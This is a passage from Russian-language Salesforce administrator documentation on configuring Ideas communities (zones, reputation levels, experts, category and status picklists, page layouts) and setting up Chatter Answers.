данных»вразделе «Ответы». Страницаназначенийгруппыкатегорийотображаетсятольковтомслучае, есливключена
поддержка ответов.

3. Нажмите кнопку «Правка».

4. Выберите нужную группу категорий.

Прим.: При последующем изменении группы категорий для ответов все текущие категории, связанные с
вопросами, подлежат удалению. Вопросы, опубликованные в сообществе ответов, отображаются без категории
до назначения им новых категорий.

5. Нажмите кнопку «Сохранить».

По завершении отправляется электронное уведомление об успешном сохранении.

СМ. ТАКЖЕ:

Что такое категории данных?

Сообщества идей

Стимулирование создания и совместного использования идей в сообществах Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
сообщества «Идеи» в
сообществах Salesforce:
• «Настройка

приложения»

Чтобы воспользоваться новыми способами сотрудничества, добавьте пользователей
сообщества «Идеи» в сообщества Salesforce.

Чтобы повысить эффективность использования сообщества «Идеи», рекомендуем
разрешитьклиентампубликациюикомментированиеидейпрямонаначальнойстранице
сообществ Salesforce. Благодаря добавлениюсообщества «Идеи» в сообщества Salesforce,
пользователи могут оценить преимущества плодотворного сотрудничества между
участникамисообщества. Сообщества — этонастраиваемыеобщедоступныеилиличные
области, позволяющие сотрудникам, клиентам и партнерам совместно работать над
бизнес-процессамииобмениватьсяприобретеннымопытом. Привключениисообщества
«Идеи» в сообществах Salesforce участникисообществаполучаютвозможность создания
идейипространствидей, а такжеихобсуждения. Крометого, системапозволяет создавать
общедоступные сообщества, предназначенные для обмена идеями между клиентами
илипартнерами, а такжеличныевнутренниесообщества, доступныетолькосотрудникам.

Модерирование и управление сообществами идей могут быть назначены участникам
внутреннегосообществанаосновеихпривилегий. Внутренниепользователи, имеющие
доступ ко внутренним сообществам и любым общедоступным сообществам, могут
модерировать как внутренние, так и внешние сообщества.

Чтобы разделить сообщество на группы меньшего размера, рекомендуем создать зоны
внутрисообщества, соответствующиеособыминтересам, группировкампродуктовили
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типам клиентов. Зоны используются приложениями «Идеи», «Ответы» и Chatter Answers, каждое из которых позволяет
просматривать и создавать зоны.Например, компания-производитель компьютеров может создать два сообщества
«Портативные компьютеры» и «Настольные компьютеры». Каждое сообществопозволяет создавать зоны, посвященные
разным аспектам продуктов.

Доступность разных зон определяется профилями участников сообщества.

• Пользователи сообщества могут просматривать зоны, связанные с текущим сообществом.

• Внутренние пользователи с полномочием на просмотр идей могут просматривать все зоны организации, доступные
толькодлявнутреннегопользования. Внутренниепользователи, выполнившиевходвсообщество, могутпросматривать
только зоны, связанные с соответствующим сообществом.

• Внутренние пользователи с полномочием на просмотр Chatter Answers могут просматривать все зоны организации,
доступныетолькодлявнутреннегопользования, навкладке «Вопросиответ». Внутренниепользователи, выполнившие
вход в сообщество, могут просматривать только зоны, связанные с соответствующим сообществом.

• Пользователи портала могут просматривать зоны, связанные с их порталом.

• Пользователи портала, имеющие доступ к порталу и сообществу, могут просматривать зоны, связанные с порталом
или текущим сообществом.

• Пользователи, открывающие портал или сообщество посредством API, могут просматривать все доступные зоны во
всех контекстах.

• Глобальные поиски во внутреннем приложении, выполняемые внутренними пользователями, возвращают все идеи,
доступные внутри организации. Поиски, выполняемые всеми другими пользователями в сообществах Salesforce,
возвращают идеи, доступные внутри сообщества.

Управление сообществом «Идеи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
сообществами «Идеи»:
• «Настройка

приложения»

«Идеи» — это сообщество пользователей, публикующих идеи, голосующих за них и
размещающихкомментариикидеям. Данноесообществоявляетсянекиминтерактивным
банком идей, содержащим цепочки обсуждений и рейтинги популярности по каждой
теме. Чтобы разделить сообщество на группы меньшего размера, рекомендуем создать
зоны, соответствующиеособыминтересам, группировкампродуктовилитипамклиентов.

Сообщество «Идеи» может быть доступно внутренним пользователям Salesforce,
пользователям сообщества salesforce.com, клиентского или партнерского портала и
общедоступным пользователям (посредством сайта Force.com). Консоль может также
использоваться для управления сообществом «Идеи».

Версия Professional Edition позволяет использовать только одну внутреннюю зону. Все
остальныеверсиипозволяютиспользоватьнеболее 50 зон, связанныхсидеями, ответами
и Chatter Answers.

Ниже перечислены действия, доступные администратору.

• Включение идей в организации и настройка периода расцвета идей. См. раздел
«Настройка параметров сообщества "Идеи"».

• Создание зон для систематизации идей. См. раздел «Создание и редактирование
зон».

• Создание пространств идей, позволяющих приглашать участников сообщества к
публикации идей по конкретным темам. Опубликованные идеи могут содержать
возможные решения проблем или предложения по модернизации компании.

• Определение значений раскрывающегося списка для полей «Категории» и «Статус». См. раздел «Определение
значений раскрывающегося списка для полей "Категории" и "Статус"».
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• Определение макета настраиваемых полей. См. раздел «Настройка макетов страниц для идей».

• Предоставление пользователям доступа к отчетам по идеям.

• Настройка макетов поиска идей.

• Объединение идей для сокращения количества повторяющихся идей.

• Назначение статуса идеи.

• Полное удаление голоса посредством API.

Ниже перечислены действия, выполняемые в результате удаления голоса.

– Понижение общего рейтинга идеи на 10 очков.

– Удаление имени пользователя из раздела «Последние 100 голосов» на странице сведений об идее.

СМ. ТАКЖЕ:

Включение сообщества «Идеи» на клиентском портале

Настройка параметров сообщества «Идеи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
сообщества «Идеи»:
• «Настройка

приложения»

Чтобыуправлять единымипараметрамисообщества «Идеи», выполнитеуказанныениже
действия.

1. Введите строку «Параметры идей» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Параметры идей».

2. Нажмите кнопку «Правка».

3. Чтобывключитьилиотключитьсообщество «Идеи» ворганизации, установитеили
снимите флажок «Включить идеи».

Отключениесообщества «Идеи»инициируетудалениевкладки «Идеи» иблокировку
доступа к активным зонам; включение сообщества «Идеи» инициирует повторное
отображение данных зон на вкладке «Идеи».

4. Чтобы включить HTML-редактор сообщества «Идеи», который предоставляет
пользователям возможность редактирования HTML в режиме WYSIWYG и вставки
ссылок на изображения при публикации или комментировании идей, установите
флажок «Разрешить форматирование текста, вставку изображений и ссылок».

Внимание: Включенный HTML-редактор сообщества «Идеи» не может быть
отключен. Если параметр «Разрешить форматирование текста, вставку
изображений и ссылок» не отображается, следовательно, HTML-редактор
сообщества «Идеи» включен по умолчанию.

5. Чтобы включить поле со множественным выбором «Категории», нажмите кнопку «Включить», расположенную
под сообщением «Категории» вверху страницы. Данная кнопка отображается только в том случае, если поле
«Категории» не включено.

Флажок «Включить категории» установлен в том случае, если поле «Категории» уже включено. Включенное поле
не может быть отключено.

6. Чтобы разрешить пользователям зарабатывать очки и рейтинги на основе их действий в каждой зоне, установите
флажок «Включить поддержку репутации».
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7. Выберитенужныйтипвраскрывающемсясписке «Профиль пользователя сообщества "Идеи"» для всехпрофилей
зоны.

ОписаниеТип профиля пользователя

Данный тип профиля пользователя используется по
умолчанию. ЕслипрофильChatterотсутствуетпривыборе

Профиль Chatter

данного параметра, то система использует параметр
«Профиль зоны сообщества "Идеи"».

Профиль, настраиваемый пользователем для зоны
сообщества «Идеи». Данный тип профиля используется
зонами сообщества «Идеи» на порталах.

Профиль зоны сообщества «Идеи»

Укажите страницу Visualforce настраиваемого профиля
для всех пользователей сообщества «Идеи» в зоне. При

Настраиваемый профиль со страницей Visualforce

выборе данного типа профиля укажите страницу
Visualforce в поле «Настраиваемая страница профиля».

8. Введите нужное количество дней в поле «Период расцвета (в днях)».

Параметр «Период расцвета» определяет скорость, с которой устаревшие идеи перемещаются в нижние строки
рейтингана вложеннойвкладке «Популярныеидеи», чтобыуступитьместо темидеям, за которыенедавнобылиотданы
голоса. Чем меньше период расцвета, тем быстрее устаревшие идеи перемещаются вниз страницы.

Прим.: Данное поле отображается только при использовании сообщества «Идеи». Чтобы изменить значение
поля «Период расцвета (в днях)», включите поддержку идей, сохраните внесенные изменения и нажмите
кнопку «Правка» на странице «Параметры идей».

9. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление сообществом «Идеи»

Стимулирование инновации посредством репутации идеи

Стимулирование инновации посредством репутации идеи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Благодаря признанию вклада, внесенного пользователями в сообщество, самые
влиятельные и инновационные участники сообщества «Идеи»могут получать награды.
Чтобы разрешить пользователям зарабатывать очки и рейтинги, предназначенные для
награждения или стимулирования постоянного и эффективного участия в сообществе
«Идеи», рекомендуем включить поддержку репутации. Общее качество идей напрямую
зависит от активности участников сообщества; другими словами, преимущества
плодотворного сотрудничества с клиентами доступны всем участникам.

Пользователи награждаются очками за многие действия, включая:

• Создание идеи

• Получение комментария к идее

• Получение положительного голоса к идее или комментарию
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• Комментирование идеи другого пользователя

Репутационныеочкивычисляютсяотдельнодлякаждойзоны, а такжедлясовокупнойактивностивнутривсейорганизации.
Пользователи, участвующие в разных зонах, получают разные значения репутации для каждой зоны на основе их
активности в соответствующей зоне. Репутация пользователей, выполнивших вход во внутреннее приложение,
определяется их участием во всех зонах, которым они принадлежат.

Ниже перечислены предопределенные уровни репутации, применяемые ко всем зонам и внутреннему приложению в
сообществе «Идеи». Интерфейс API позволяет добавлять или редактировать уровни репутации и очки для отображения
уровней участия в сообществе.

Количество очковИмя

0 – 99Наблюдатель

100 – 399Автор

400 – 1499Агент влияния

1500+Гуру

Уровни репутации доступны посредством API и могут отображаться в настраиваемых реализациях сообщества «Идеи».
Чтобы добавить или изменить имя уровня репутации, количество очков или другие атрибуты репутации в любой зоне,
воспользуйтесьобъектамиинтерфейсаAPI (IdeaReputationи IdeaReputationLevel). Каждая зонапозволяет создаватьнеболее
25 разных уровней репутации.

СМ. ТАКЖЕ:

Настройка параметров сообщества «Идеи»

Обозначение экспертов сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Популярныепользователимогутбытьобозначенывкачествеэкспертовсоответствующих
сообществ.

Эксперт сообщества — это участник сообщества, который официально выступает от
имени организации. Когда эксперты сообществ размещают комментарии или идеи,
рядом с их именем отображается уникальный значок ( ). Администратор Salesforce
может назначить необходимое количество экспертов.

Чтобы назначить экспертов внутри сообщества, настройте зоны и создайте
общедоступную группу, содержащую пользователей-экспертов. Затем можно выбрать
данную общедоступную группу в качестве экспертов сообщества во время процесса
настройки.

Преждечемвыбратьобщедоступнуюгруппу в качестве экспертов сообщества, обратите
внимание на указанные ниже рекомендации.

• Эксперт сообщества может быть сотрудником вашей организации, ответственным за предоставление официальных
откликов в сообщество. Пользователь сообщества может также быть вне вашей организации, но быть активным в
сообществе и обладать знаниями, соответствующими теме.

• Эксперт сообщества отличается от других участников сообщества только наличием уникального значка напротив
своего имени. Экспертам сообщества предоставляются только те полномочия, которые указаны в их профилях и
наборах полномочий.
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• Эксперты сообщества должны быть участниками общедоступной группы, а сама группа должна быть выбрана в
раскрывающемся списке «Группа экспертов». Если экспертами разных сообществ являются разные пользователи,
то для каждого сообщества может быть создана отдельная общедоступная группа.

• Если сообществоотображается на клиентскомилипартнерскомпортале, то значок эксперта сообществаможет быть
изменен посредством каскадных таблиц стилей (CSS). При создании портала выберите каскадные таблицы стилей в
параметре портала «Верхний колонтитул». Чтобы добавить ссылку на новое фоновое изображение для эксперта
сообщества, воспользуйтесь классом expertUserBadge. Рекомендуем использовать значок размером не более
16 х 16 пикселов.

СМ. ТАКЖЕ:

Создание и редактирование зон

Настройка макетов страниц для идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки макета
настраиваемого поля
сообщества «Идеи»:
• «Настройка

приложения»

Настраиваемоеполе, созданное для сообщества «Идеи», может быть добавлено в раздел
«Дополнительные сведения», отображающийся на страницах «Добавить идею» и
«Сведения об идее».

Порядок отображения настраиваемых полей в разделе «Дополнительные сведения»
может быть изменен. Кроме того, настраиваемое поле может быть удалено со страниц,
но сохранено в системе. По умолчанию стандартные поля, поддерживающие перенос
вмакет страницы, отображаются вразделе «Сведенияобидее» вверху страницы; порядок
их отображения не может быть изменен. Тем не менее, поле «Статус» может быть
перенесеновраздел «Дополнительныесведения» дляотображения статусаидеивмакете
страницы.

Прим.: Метка и макет раздела «Дополнительные сведения» не могут быть
настроены.

1. Откройте страницу «Макеты страниц» посредствомпараметров управленияидеями.

2. Нажмите кнопку «Правка».

3. Выберите нужное настраиваемое поле в области справа и перетащите его в раздел
«Дополнительные сведения». Настраиваемые поля отображаются в порядке их
размещения в разделе «Дополнительные сведения».

4. Чтобы показывать статус идеи участникам зоны, выберите поле «Статус» и
перетащите его в раздел «Дополнительные сведения».

5. Чтобы разрешить пользователям добавлениефайлов в идеи, выберите поле «Вложения» и перетащите его в раздел
«Дополнительные сведения». Убедитесь, что пользователям заданы параметры безопасности поля.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Определение значений раскрывающегося списка для полей «Категории» и «Статус»

Поиск по параметрам управления объектами
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Добавление триггеров Apex в комментарии к идеям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения триггеров
Apex:
• «Автор Apex»

Для управления
сообществами «Идеи»:
• «Настройка

приложения»

Добавление триггеров Apex в комментарии к идеям позволяет выполнять действия,
связанные с опубликованными комментариями к идеям.

Триггер — это набор кодов Apex, выполняемый в жизненном цикле записи в
определенное время. Процесс управления идеями в сообществе может быть улучшен
путем добавления триггеров Apex в комментарии к идеям.

Ниже перечислены действия, которые могут выполняться посредством триггеров.

• Отправка электронного уведомления модератору или другому пользователю при
добавлении комментария к идее.

• Отправкапользователюэлектронногоуведомления, содержащего его комментарий.

• Уведомление модератора при достижении заданного количества комментариев к
идее.

• Запрет публикации комментариев, содержащих определенные слова.

Переход к приложению «Сообщество»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
сообщества «Идеи»:
• «Настройка

приложения»

Если приложение «Идеи» включено в организации до выпуска версии Winter'10,
рекомендуем выполнить переход к новому приложению «Сообщество». Приложение
«Сообщество»...

• заменяет приложение «Идеи» в меню приложений Force.com;

• содержит вкладки «Идеи» и «Ответы».

Ответы — этофункцияприложения «Сообщество», котораяпозволяетпользователям
задавать вопросыиполучатьнанихответы. Участникисообществамогутопределять
степеньполезностилюбогоответапутемголосования, а авторвопросаможетвыбрать
лучший ответ.

Внимание: Переход к приложению «Сообщество» является необратимым, то есть
пользователь не может вернуться к предыдущему приложению «Идеи». Вкладка
«Идеи» со всеми текущими данными будет доступна в новом приложении
«Сообщество».

Чтобы перейти к приложению «Сообщество», выполните указанные ниже действия.

1. Введите строку «Параметры идей» в поле «Быстрый поиск» меню «Настройка» и
выберите пункт «Параметры идей».

Сообщение «Сообщество» отображаетсявверхустраницы «Параметрыидей». Данное
сообщение отображается только в том случае, если приложение «Сообщество»
отключено.
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2. Нажмитекнопку «Включить»подсообщением «Сообщество». Система Salesforceпровериторганизациюнаналичие
настраиваемых объектов с именем «Сообщество». Прежде чем включить приложение «Сообщество», рекомендуем
удалить или переименовать объект с таким именем.

3. Если переход к приложению «Сообщество» разрешен системой Salesforce, нажмите кнопку «Включить».

Настройка стандартных и настраиваемых полей сообщества «Идеи»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для определения значений
раскрывающегося списка:

«Настройка приложения»Для настройки параметров безопасности
поля:

«Настройка приложения»Для определения или изменения правил
проверки полей:

«Настройка приложения»Для создания настраиваемых полей
сообщества «Идеи»:

«Настройка приложения»Для включения вложений в идеях:

Чтобы соответствовать уникальным потребностям организации, администраторы могут настраивать стандартные и
настраиваемые поля сообщества «Идеи».

• Определите значения раскрывающегося списка для полей «Категории» и «Статус».

• Чтобы настроить параметры безопасности поля, щелкните имя нужного стандартного или настраиваемого поля.

• Чтобы настроить правила проверки, щелкните имя нужного настраиваемого поля.

• Создайте настраиваемое поле сообщества «Идеи». Настраиваемые поля отображаются в разделе «Дополнительные
сведения» на страницах «Добавить идею» и «Сведения об идее».

• Добавьте поле «Вложение» в макет и настройте параметрыбезопасностиполя. Пользователимогут прикреплять все
поддерживаемые типыфайлов, включая презентации Microsoft® PowerPoint®, электронные таблицы Excel®, PDF-файлы
Adobe®, изображения, аудио- и видеофайлы. Максимальный размер вложения определяется администратором
организации.

Прим.: Настраиваемые реализации сообщества «Идеи» позволяют использовать метод Apex
URL.getFileFieldURL для извлечения URL-адреса загрузки вложений.

СМ. ТАКЖЕ:

Настройка параметров сообщества «Идеи»
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Выбор значений раскрывающегося списка и значений по умолчанию для зоны

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления или
удаления значений
раскрывающегося списка из
зоны:
• «Настройка

приложения»

Значенияраскрывающегося списка, заданныедляполей «Категории» и «Статус», могут
быть добавлены или удалены из этих полей для каждой отдельной зоны. Кроме того,
пользовательможетвыбрать значениепоумолчанию. Такимобразом, поля «Категории»
и «Статус» могут быть настроены в соответствии с уникальными потребностями зоны.
Дополнительнуюинформациюсм. вразделе «Определениезначенийраскрывающегося
списка для полей "Категории" и "Статус"» на странице 2763.

Чтобы добавить или удалить значения раскрывающегося списка из отдельной зоны,
выполните указанные ниже действия.

1. Введите строку «Зоны» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт Зоны.

2. Щелкните имя нужной зоны.

3. В разделе «Раскрывающиеся списки "Идея", доступные для редактирования»
щелкните ссылку «Правка» напротив поля «Категории» или «Статус».

4. Чтобыудалитьзначениераскрывающегосясписка, найдитенужноезначениевсписке
«Выбранные значения» и нажмите кнопку «Удалить».

5. Чтобыдобавитьзначениераскрывающегосяспискав зону, выберитенужноезначение
в списке «Доступные значения» и нажмите кнопку «Добавить».

6. Чтобывыбрать значениепо умолчанию, воспользуйтесьраскрывающимся списком
«По умолчанию».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание и редактирование зон
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Определение значений раскрывающегося списка для полей «Категории» и «Статус»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения значений
раскрывающегося списка:
• «Настройка

приложения»

Общие сведения

Чтобыпредоставитьучастникамзонывозможностьназначениякатегорийилипросмотра
статуса идеи, администратор приложения «Идеи» должен определить значения
раскрывающегося списка для полей «Категории» и «Статус». Данные поля доступны
только в сообществе идей и недоступны в сообществе ответов.

Категории — это значения, определяемые администратором, которые помогают
организовать идеи в логические подгруппы внутри зоны. Раскрывающийся список
«Просмотр категории» на вкладке «Идеи» позволяет фильтровать идеи по категории, а
раскрывающийсясписок «Категории» настранице «Добавитьидеи» позволяетназначать
категории.

Статус идеи помогает участникам зоны отслеживать ее развитие. Например, значения
«Проверяется», «Проверено», «Скоро появится» и «Теперь доступно» — это типичные
статусы, которые могут быть заданы и назначены идеям. Статус идеи отображается
напротив ее заголовка для всех участников зоны.

Прим.: Если отображается поле «Категория»  (вместо поля «Категории»), то
участники зоны могут назначить идее только одну категорию. Чтобы позволить
назначать одной идее несколько категорий, введите строку «Параметры идей» в
поле «Быстрый поиск» вменю «Настройка», выберитепункт «Параметрыидей»
и активируйте пункт «Категории».

Определение значений раскрывающегося списка

Чтобы определить значения раскрывающегося списка для стандартных полей «Категории» и «Статус», выполните
указанные ниже действия.

1. Введите строку «Идеи» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Идеи».

2. Щелкните ссылку «Правка» напротив стандартного поля «Категории» или «Статус».

3. Чтобыдобавитьновые значенияраскрывающегосясписка в стандартноеполе, нажмитекнопку «Создать»настранице
редактированияраскрывающегосясписка. Крометого, пользователимогутредактировать, удалять, перегруппировывать
и заменять значения раскрывающегося списка.

Прим.: После добавления значений раскрывающегося списка поле «Категории» или «Статус» всегда требует
наличия как минимум одного значения. Другими словами, при удалении значений раскрывающегося списка
последнее значение должно быть сохранено.

4. Добавьте как минимум одно значение раскрывающегося списка (по одному в строке) в текстовую область.

5. Выберите нужные зоны.

6. Сохраните внесенные изменения.

7. Чтобы задать стандартное значение для поля «Категории» или «Статус», выполните действия, описанные в разделе
«Выбор значений раскрывающегося списка и значений по умолчанию для зоны».

Прим.: Не рекомендуем использовать ссылку «Правка» на странице «Поля» для определения стандартного
значения поля «Категории» или «Статус». Стандартное значение может быть задано только на странице
сведений о зоне.
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8. Чтобыотображать статусидеиучастникамзоны, выберитеполе «Статус» иперетащитееговраздел «Дополнительные
сведения». Перейти к этому полю можно путем ввода строки «Идеи» в поле «Быстрый поиск» при выборе пункта
«Поля».

Если данныйфлажок установлен, то статус может быть назначен при публикации новой идеи или редактировании
текущей идеи.

СМ. ТАКЖЕ:

Управление сообществом «Идеи»

Выбор значений раскрывающегося списка и значений по умолчанию для зоны

Поиск по параметрам управления объектами

Включение поля «Категории»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
сообщества «Идеи»:
• «Настройка

приложения»

Организации, использующиеполе «Категория», могутвключитьполесомножественным
выбором «Категории», которое позволяет участникам зоны назначать идее несколько
категорий. Поле «Категория» позволяет назначить идее только одну категорию.

Внимание: Включенное поле «Категории» не может быть отключено. Кроме
того, включение поля «Категории» приводит к автоматическому отключению
предыдущего поля «Категория» в системе Salesforce и API.

Ниже перечислены действия, выполняемые системой Salesforce автоматически при
включении поля «Категории».

• Система проверяет бизнес-правила, триггеры, правила проверки, настраиваемые
поля и код Apex, используемый в организации, и составляет список областей,
ссылающихсянаполе «Категория». ПреждечемсистемаSalesforceпозволитвключить
поле «Категории», данные ссылки должны быть исправленыили удалены вручную.

• Система автоматическиперемещает все значенияраскрывающегося спискаимакеты
поиска из предыдущего поля «Категория» в новое поле «Категории».

• Система проверяет правильность связывания каждой идеи с соответствующим
значением раскрывающегося списка в новом поле «Категории».

• Система предоставляет доступ к полю «Категории» в интерфейсах Salesforce и API.

Чтобы включить поле «Категории», выполните указанные ниже действия.

1. Введите строку «Параметры идей» в поле «Быстрый поиск» меню «Настройка» и выберите пункт «Параметры
идей».

2. Нажмите кнопку «Включить», расположенную под сообщением «Категории» вверху страницы. Данная кнопка
отображается только в том случае, если поле «Категории» не включено.

СистемаSalesforceпроверяетбизнес-правила, триггеры, правилапроверки, настраиваемыеполяикодApex, используемый
в организации, на наличие ссылок на поле «Категория» и составляет список областей, из которых данные ссылки
должны быть удалены.

3. Чтобы удалить ссылки на поле «Категория», нажмите кнопку «Отмена». Повторите включение поля «Категории»
после удаления ссылок.

Прим.: Прииспользованииправилпроверкиилибизнес-правилрекомендуемудалитьсоответствующееправило
или исправить ссылку на поле «Категория». Правило не может быть просто деактивировано. Чтобы удалить
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настраиваемоеполе, ссылающеесянаполе «Категория», рекомендуемудалитьнастраиваемоеполепослеудаления
поля «Категория». .

4. Просмотритеинформациювовсплывающемокнеинажмитекнопку «Включить». Включениеновогополяв системе
Salesforce может занять несколько минут.

5. Исправьте любые настраиваемые отчеты, ссылающиеся на предыдущее поле «Категория».

СМ. ТАКЖЕ:

Настройка параметров сообщества «Идеи»

Выбор значений раскрывающегося списка и значений по умолчанию для зоны

Определение значений раскрывающегося списка для полей «Категории» и «Статус»

Включение пространств идей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
пространств идей:
• «Настройка

приложения»

1. Введите строку «Параметры пространства идей» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры пространства идей».

2. Нажмите кнопку «Правка».

3. Установите флажок «Включить пространства идей».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Настройка параметров сообщества «Идеи»
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Сообщества Chatter Answers

Общие сведения о внедрении Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

Прим.: Настройка и поддержка Chatter Answers, объединяющего в себе несколько
функций Salesforce, должны выполняться опытными разработчиками и
администраторами Salesforce.

Chatter Answers — это сообщество по поддержке и самообслуживанию, позволяющее
пользователям публиковать вопросы и получать ответы или комментарии от других
пользователей или агентов службы поддержки. Функция Chatter Answers предоставляет
комплексный доступ к обращениям, вопросам, ответам и статьям Salesforce Knowledge.
ПреждечемнастроитьChatter Answers, ворганизацияхдолжнабыть включенаподдержка
категорийданных. ЧтобыразрешитьучастникамзонпросмотрстатейSalesforce Knowledge,
администратор должен включить поддержку Salesforce Knowledge.

Вотличиеотдругихфункций Salesforce, компонентChatter Answersохватываетнесколько
областей настройки. В системе Salesforce отсутствует единая область, позволяющая
обновлять и настраивать все параметры, связанные с Chatter Answers.Например, при выполнении конфигурации Chatter
Answers может потребоваться обновление параметров клиентского портала (введите строку «Параметры клиентского
портала» вполе «Быстрый поиск» вменю «Настройка» ивыберитепункт «Параметрыклиентскогопортала»), а также
параметров сайта Force.com (введите строку «Сайты» в поле «Быстрый поиск» и выберите пункт «Сайты»).

Ниже перечислены компоненты, которые также настраиваются или поддерживаются при настройке Chatter Answers.

• Обращения

• Правила назначения обращений

• Бизнес-правила для обращений или вопросов

• Триггеры Apex для вопросов

• Страницы Visualforce

• Пользователи клиентского портала

• Единые стандартные параметры общего доступа

• Лицензии на компоненты

НастройкавнешнеговидазоныChatter AnswersподразумеваетсозданиеилиобновлениестраницVisualforceвкорпоративном
фирменном стиле и их добавление на сайт Force.com, используемый для размещения зон.

СМ. ТАКЖЕ:

Настройка Chatter Answers
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Настройка Chatter Answers

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

КомпонентChatter Answers
доступен в версиях:
Enterprise Edition,
Developer Edition,
Performance Edition и
Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки Chatter
Answers:
• «Настройка

приложения»

И

«Управление
пользователями»

И

«Редактирование
пользователей портала
самообслуживания»

Прим.: НижеперечисленыосновныерекомендациипонастройкеChatter Answers.
Chatter AnswersобъединяетнесколькофункцийSalesforce, включаяфункции, которые
уже могут быть внедрены администратором, поэтому реализации Chatter Answers
могут отличаться друг от друга. Специфические особенности реализации можно
узнать у представителя Salesforce.

ПреждечемнастроитьChatter Answers, ворганизацияхдолжнабыть включенаподдержка
категорийданных. ЧтобыразрешитьучастникамзонпросмотрстатейSalesforce Knowledge,
администратор должен включить поддержку Salesforce Knowledge.

1. Включите Chatter Answers.

2. Настройте параметры электронных уведомлений.

3. Внедрите клиентский портал (в случае его отсутствия).

4. Настройте клиентский портал организации для Chatter Answers.

5. Настройте пользователей массового портала для самостоятельной регистрации.

6. Внедрите сайт Force.com (в случае его отсутствия и необходимости).

7. Настройте сайт Force.com организации для Chatter Answers.

8. Настройте обращения для Chatter Answers.

9. Настройте уровень доступности вкладки «Вопросы».

10. Дополнительно:

• Назначьте категории данных компоненту Chatter Answers.

• Настройте Salesforce Knowledge для Chatter Answers.

• Добавьте компонент Chatter Answers на клиентский или партнерский портал.

11. Настройте как минимум одну зону.

12. Устраните ошибки настройки.

Важное замечание: В случае изменения конфигураций в указанных вышефункциях после настройки компонента
Chatter Answers, возможнаегонекорректнаяработа. ПриобнаруженииподобныхошибоксистемаSalesforceотправляет
соответствующее электронное уведомление пользователю, указанному в поле «Контакт для сайта».

Совет:

• НастраиваемыеполямогутбытьдобавленыввопросыилиответытолькодляинтеграцииAPI. Например, добавьте
настраиваемое текстовое поле в вопросы и используйте API для заполнения этого текстового поля названием
страны-источника каждого опубликованного вопроса. Настраиваемые поля, создаваемые для вопросов или
ответов, не могут отображаться в пользовательском интерфейсе Salesforce.

• Чтобы настроить поля, макеты страниц, кнопки, ссылки, триггеры Apex и правила проверки для вопросов и
ответов Chatter Answers, введите строкуChatter Answers в поле «Быстрый поиск» в меню «Настройка», выберите
пункт Chatter Answers и соответствующие настройки.

• Пользовательский интерфейс зоны позволяет переименовать метку «Служба поддержки». Например, метка
«Службаподдержки» можетбытьзамененаметкой «Поддержка Acme». Простоизменитеметку «Службаподдержки»
для объекта «Вопрос».
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• При необходимости вкладка Chatter Answers может быть переименована на портале.

СМ. ТАКЖЕ:

